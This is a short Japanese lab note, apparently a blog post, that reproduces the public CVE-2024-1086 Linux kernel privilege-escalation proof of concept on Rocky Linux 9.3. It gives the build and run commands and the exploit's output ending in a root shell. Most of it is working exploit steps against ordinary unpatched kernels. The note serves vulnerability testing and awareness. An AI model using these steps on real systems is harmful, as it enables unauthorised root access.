実験内容
基本的には以下の PoC の通り。
GitHub - Notselwyn/CVE-2024-1086: Universal local privilege escalation Proof-of-Concept exploit for CVE-2024-1086, working on most Linux kernels between v5.14 and v6.6, including Debian, Ubuntu, and KernelCTF. The success rate is 99.4% in KernelCTF images.
Universal local privilege escalation Pro...
試した環境
Rocky Linux 9.3 (Kernel 5.14.0-362.24.1.el9_3.0.1.x86_64)
準備
root にて /root ディレクトリで以下を実行。
必要なパッケージをインストール
# dnf install git gcc make tar
musl をインストール
# curl -LO http://www.musl-libc.org/releases/musl-1.1.20.tar.gz # tar xzvf musl-1.1.20.tar.gz # cd musl-1.1.20 # ./configure # make install
PATH を通す
# export PATH=$PATH:/root/musl-1.1.20/obj/
攻撃コードをダウンロードし make
# git clone https://github.com/Notselwyn/CVE-2024-1086 # cd CVE-2024-1086 # make
実行
test ユーザーを作成し、その test ユーザーの home ディレクトリに攻撃コードを配置し、test ユーザーになる。
# useradd test # mv exploit /home/test/ # su - test
test ユーザーで攻撃コードを実行。
[test@localhost ~]$ ./exploit
うまくいけば以下のように root になれる。
[*] creating user namespace (CLONE_NEWUSER)... [*] creating network namespace (CLONE_NEWNET)... [*] setting up UID namespace... [*] configuring localhost in namespace... [*] setting up nftables... [+] running normal privesc [*] waiting for the calm before the storm... [*] sending double free buffer packet... [*] spraying 16000 pte's... [*] checking 16000 sprayed pte's for overlap... [+] confirmed double alloc PMD/PTE [+] found possible physical kernel base: 000000002b600000 [+] verified modprobe_path/usermodehelper_path: 000000002d25f840 ('/sanitycheck')... [*] overwriting path with PIDs in range 0->4194304... sh: cannot set terminal process group (-1): Inappropriate ioctl for device sh: no job control in this shell sh-5.1# whoami root sh-5.1#
ただし、失敗したり、OS 再起動になったりすることがある。何度か試す必要あり。
その他
2024/4/12 時点でまだ RedHat からもパッチはリリースされていない様子。
コメント